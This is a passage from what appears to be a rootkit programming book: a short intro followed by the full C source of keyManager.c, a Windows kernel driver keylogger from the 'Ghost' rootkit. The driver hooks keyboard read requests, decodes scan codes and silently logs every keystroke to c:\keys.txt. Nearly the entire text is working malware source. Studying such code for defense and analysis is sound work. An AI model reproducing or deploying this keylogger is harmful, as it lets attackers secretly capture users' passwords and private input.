keyManager.c


The file keyManager.c is the main focus of this chapter. This is where the logging thread is started and stopped, where the completion routine is registered, and where key data is decoded before being written to the log file. These functions are detailed following the file listing:

  // keyManager // Copyright Ric Vieler, 2006 // Keylogger routines #include "ntddk.h" #include "Ghost.h" #include "keyManager.h" #include "ntddkbd.h" extern KEYBOARD_STRUCT keyboardData; extern PDEVICE_OBJECT oldKeyboardDevice; char keyMap[84] = {NUL,NUL,'1','2','3','4','5','6','7','8',  '9','0','-','=',NUL,NUL,'q','w','e','r',  't','y','u','i','o','p','[',']',ENTER,CTRL,  'a','s','d','f','g','h','j','k','l',';',  '\'','`',LSHIFT,'\\','z','x','c','v','b','n',  'm',',','.','/',RSHIFT,NUL,ALT,SPACE,NUL,NUL,  NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,  NUL,'7','8','9',NUL,'4','5','6',NUL,'1',  '2','3','0'}; char shiftKeyMap[84] = {NUL,NUL,'!','@','#','$','%','^','&','*',  '(',')','_','+',NUL,NUL,'Q','W','E','R',  'T','Y','U','I','O','P','{','}',ENTER,NUL,  'A','S','D','F','G','H','J','K','L',':',  '"','~',LSHIFT,'|','Z','X','C','V','B','N',  'M','<','>','?',RSHIFT,NUL,NUL,SPACE,NUL,NUL,  NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,  NUL,'7','8','9',NUL,'4','5','6',NUL,'1',  '2','3','0'}; NTSTATUS OnKeyboardRead( PDEVICE_OBJECT pDeviceObject,  PIRP Irp,  PIO_STACK_LOCATION irpStack ) {  NTSTATUS status;  PIRP newIrp;  PIO_STACK_LOCATION newirpStack;  // create new irp  newIrp = IoAllocateIrp( pDeviceObject->StackSize, FALSE );  IoSetNextIrpStackLocation( newIrp );  newirpStack = IoGetCurrentIrpStackLocation( newIrp );  newIrp->AssociatedIrp.SystemBuffer = Irp->AssociatedIrp.SystemBuffer;  newIrp->RequestorMode = KernelMode;   // Irp->RequestorMode;  newIrp->Tail.Overlay.Thread = Irp->Tail.Overlay.Thread;  newIrp->Tail.Overlay.OriginalFileObject = Irp->Tail.Overlay.OriginalFileObject;  newIrp->Flags = Irp->Flags;  newirpStack->MajorFunction = IRP_MJ_READ;  newirpStack->MinorFunction = irpStack->MinorFunction;  newirpStack->Parameters.Read = irpStack->Parameters.Read;  newirpStack->DeviceObject = pDeviceObject;  newirpStack->FileObject = irpStack->FileObject;  newirpStack->Flags = irpStack->Flags;  newirpStack->Control = 0;  IoCopyCurrentIrpStackLocationToNext( newIrp );  IoSetCompletionRoutine( newIrp, OnReadCompletion, Irp, TRUE, TRUE, TRUE );  // save old irp  Irp->Tail.Overlay.DriverContext[0] = newIrp;  ExInterlockedInsertHeadList( &keyboardData.irpList,   &Irp->Tail.Overlay.ListEntry,   &keyboardData.irpLock );  // set cancel routine to allow driver to unload  IoSetCancelRoutine( Irp, OnCancel );  // pass new irp in place of old irp  status = IoCallDriver( oldKeyboardDevice, newIrp );  if( status == STATUS_PENDING )   return status;  status = Irp->IoStatus.Status;  IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT );  return status; } NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,  IN PIRP pIrp,  IN PVOID Context) {  PIRP origIrp;  KIRQL aIrqL;  BOOL found = FALSE;  if( pIrp->Cancel )  {   // driver unloading   IoFreeIrp( pIrp );   return STATUS_MORE_PROCESSING_REQUIRED;  }  // get original irp  origIrp = (PIRP)Context;  // find and delete the original irp  KeAcquireSpinLock( &keyboardData.irpLock, &aIrqL );  {   PLIST_ENTRY listEntry;   listEntry = keyboardData.irpList.Flink;   while( (listEntry != &origIrp->Tail.Overlay.ListEntry)    && (listEntry != &keyboardData.irpList) )   {    listEntry = listEntry->Flink;   }   found = (listEntry == &origIrp->Tail.Overlay.ListEntry);   if( found )    RemoveEntryList( &origIrp->Tail.Overlay.ListEntry );  }  KeReleaseSpinLock( &keyboardData.irpLock, aIrqL );  // propagate irp if pending  if( pIrp->PendingReturned )  {   IoMarkIrpPending( pIrp );   if( found )    IoMarkIrpPending( origIrp );  }  // process the key  if( pIrp->IoStatus.Status == STATUS_SUCCESS )  {   int i;   int numKeys;   PKEYBOARD_INPUT_DATA keys;   KEY_DATA* keyData;   keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;   numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);   for( i = 0; i < numKeys; i++ )   {    // get key    keyData = (KEY_DATA*)ExAllocatePool( NonPagedPool, sizeof(KEY_DATA) );    keyData->KeyData = (char)keys[i].MakeCode;    keyData->KeyFlags = (char)keys[i].Flags;    // give key to key queue    ExInterlockedInsertTailList( &keyboardData.keyList,     &keyData->ListEntry,     &keyboardData.keyLock );    // tell logging thread to read key queue    KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, FALSE );   }  }  if( found )  {   // complete the orig irp   origIrp->IoStatus.Status = pIrp->IoStatus.Status;   origIrp->IoStatus.Information = pIrp->IoStatus.Information;   IoSetCancelRoutine( origIrp, NULL );   if( pIrp->PendingReturned )    IoCompleteRequest( origIrp, IO_KEYBOARD_INCREMENT );  }  // free the new irp  IoFreeIrp( pIrp );  return STATUS_MORE_PROCESSING_REQUIRED; } void GetKey(KEY_DATA* keyData, char* key) {  char mappedKey;  // map the key code into a key  mappedKey = keyMap[keyData->KeyData];  // process mapped key  switch( mappedKey )  {   case CTRL:    if( keyData->KeyFlags == KEY_MAKE )     keyboardData.keyState.CtrlKey = TRUE;    else     keyboardData.keyState.CtrlKey = FALSE;    break;   case ALT:    if( keyData->KeyFlags == KEY_MAKE )     keyboardData.keyState.AltKey = TRUE;    else     keyboardData.keyState.AltKey = FALSE;    break;   case LSHIFT:    if( keyData->KeyFlags == KEY_MAKE )     keyboardData.keyState.ShiftKey = TRUE;    else     keyboardData.keyState.ShiftKey = FALSE;    break;   case RSHIFT:    if( keyData->KeyFlags == KEY_MAKE )     keyboardData.keyState.ShiftKey = TRUE;    else     keyboardData.keyState.ShiftKey = FALSE;    break;   case ENTER:    if(( keyboardData.keyState.AltKey != TRUE ) &&     ( keyData->KeyFlags == KEY_BREAK ))    {     key[0] = 0x0D;     key[1] = 0x0A;    }    break;   case SPACE:    if(( keyboardData.keyState.AltKey != TRUE ) &&     ( keyData->KeyFlags == KEY_BREAK ))     key[0] = 0x20;    break;   default:    if(( keyboardData.keyState.AltKey != TRUE ) &&     ( keyboardData.keyState.CtrlKey != TRUE ) &&     ( keyData->KeyFlags == KEY_BREAK ))    {     if(( mappedKey >= 0x21 ) && ( mappedKey <= 0x7E ))     {      if( keyboardData.keyState.ShiftKey == TRUE )       key[0] = shiftKeyMap[keyData->KeyData];      else       key[0] = mappedKey;     }    }    break;  } } NTSTATUS InitializeLogThread(IN PDRIVER_OBJECT pDriverObject) {  HANDLE hThread;  NTSTATUS status;  keyboardData.terminateFlag = FALSE;  status = PsCreateSystemThread( &hThread,   (ACCESS_MASK)0,   NULL,   (HANDLE)0,   NULL,   KeyLoggerThread,   NULL );  if( !NT_SUCCESS( status ) )  {   DbgPrint("comint32: Failed to create key log thread");   return status;  }  ObReferenceObjectByHandle( hThread,   THREAD_ALL_ACCESS,   NULL,   KernelMode,   (PVOID*)&keyboardData.threadObject,   NULL );  ZwClose( hThread );  return status; } VOID KeyLoggerThread(PVOID StartContext) {  char key[3];  NTSTATUS status;  PLIST_ENTRY pListEntry;  KEY_DATA* keyData;  while( TRUE )  {   // wait for a key   KeWaitForSingleObject( &keyboardData.queueSemaphore,    Executive,    KernelMode,    FALSE,    NULL );   pListEntry = ExInterlockedRemoveHeadList( &keyboardData.queueList,    &keyboardData.queueLock );   if( keyboardData.terminateFlag == TRUE )    PsTerminateSystemThread( STATUS_SUCCESS );   // get base address of instance   keyData = CONTAINING_RECORD( pListEntry, KEY_DATA, ListEntry );   // convert scan code to key   key[0] = key[1] = key[2] = 0;   GetKey( keyData, key );   if( key[0] != 0 )   {    if(keyboardData.hLogFile != NULL)    {     IO_STATUS_BLOCK io_status;     status = ZwWriteFile(keyboardData.hLogFile,      NULL,      NULL,      NULL,      &io_status,      &key,      strlen(key),      NULL,      NULL);    }   }  }  return; } void StartKeylogger(PDRIVER_OBJECT pDriverObject) {  IO_STATUS_BLOCK statusBlock;  OBJECT_ATTRIBUTES attributes;  STRING ansiName;  UNICODE_STRING unicodeName;  CCHAR asciiName[64] = "\\DosDevices\\c:\\keys.txt";  // initialize keyboardData  InitializeLogThread( pDriverObject );  InitializeListHead( &keyboardData.keyList );  KeInitializeSpinLock( &keyboardData.keyLock );  KeInitializeSemaphore( &keyboardData.keySemaphore, 0 , MAXLONG );  InitializeListHead( &keyboardData.irpList );  KeInitializeSpinLock( &keyboardData.irpLock );  // create key log  RtlInitAnsiString( &ansiName, asciiName );  RtlAnsiStringToUnicodeString( &unicodeName, &ansiName, TRUE );  InitializeObjectAttributes( &attributes,   &unicodeName,   OBJ_CASE_INSENSITIVE,   NULL,   NULL );  ZwCreateFile( &keyboardData.hLogFile,   GENERIC_WRITE,   &attributes,   &statusBlock,   NULL,   FILE_ATTRIBUTE_NORMAL,   0,   FILE_OPEN_IF,   FILE_SYNCHRONOUS_IO_NONALERT,   NULL,   0 );  RtlFreeUnicodeString( &unicodeName );  DbgPrint("comint32: Log thread started"); } void StopKeylogger( PDEVICE_OBJECT* ppOldDevice,  PDEVICE_OBJECT* ppNewDevice ) {  KIRQL irql;  LIST_ENTRY forwarding_list;  IoDetachDevice( *ppOldDevice );  InitializeListHead( &forwarding_list );  // cancel pending irps  KeAcquireSpinLock( &keyboardData.irpLock, &irql );  {   PLIST_ENTRY listEntry;   listEntry = keyboardData.irpList.Flink;   while( listEntry != &keyboardData.irpList )   {    PIRP newIrp, Irp;    Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));    newIrp = (PIRP)(Irp->Tail.Overlay.DriverContext[0]);    // must advance listEntry before unlinking    listEntry = listEntry->Flink;    if( newIrp )    {     // cancel created irp     if( IoCancelIrp( newIrp ) )     {      // add original irp to forwarding list      Irp->Tail.Overlay.DriverContext[0] = NULL;      IoSetCancelRoutine( Irp, NULL );      RemoveEntryList( &Irp->Tail.Overlay.ListEntry );      InsertHeadList( &forwarding_list, &Irp->Tail.Overlay.ListEntry );     }    }   }  }  KeReleaseSpinLock( &keyboardData.irpLock, irql );  // forward original irps  while( !IsListEmpty( &forwarding_list ) )  {   PLIST_ENTRY listEntry;   PIRP Irp;   listEntry = RemoveHeadList( &forwarding_list );   Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));   IoSkipCurrentIrpStackLocation( Irp );   IoCallDriver( oldKeyboardDevice, Irp );  }  // delete keyboard device  IoDeleteDevice( *ppNewDevice );  // terminate logging thread  keyboardData.terminateFlag = TRUE;  KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, TRUE);  KeWaitForSingleObject( keyboardData.threadObject,    Executive,    KernelMode,    FALSE,    NULL);  // close key log file  ZwClose( keyboardData.hLogFile );  DbgPrint("comint32: Log thread stopped"); } void OnCancel( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) {  PIRP newIrp;  KIRQL irql;  PLIST_ENTRY listEntry;  int found = FALSE;  IoSetCancelRoutine( Irp, NULL );  IoReleaseCancelSpinLock( Irp->CancelIrql );  // remove associated irp  KeAcquireSpinLock( &keyboardData.irpLock, &irql );  {   listEntry = keyboardData.irpList.Flink;   while( (listEntry != &Irp->Tail.Overlay.ListEntry)    && (listEntry != &keyboardData.irpList) )   {    listEntry = listEntry->Flink;   }   found = ( listEntry == &Irp->Tail.Overlay.ListEntry );   if( found )    RemoveEntryList( &Irp->Tail.Overlay.ListEntry );  }  KeReleaseSpinLock( &keyboardData.irpLock, irql );  // process cancellation  Irp->IoStatus.Status = STATUS_CANCELLED;  Irp->IoStatus.Information = 0;  newIrp = (PIRP)Irp->Tail.Overlay.DriverContext[0];  IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT );  if( newIrp )   IoCancelIrp( newIrp );  return; } 




Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net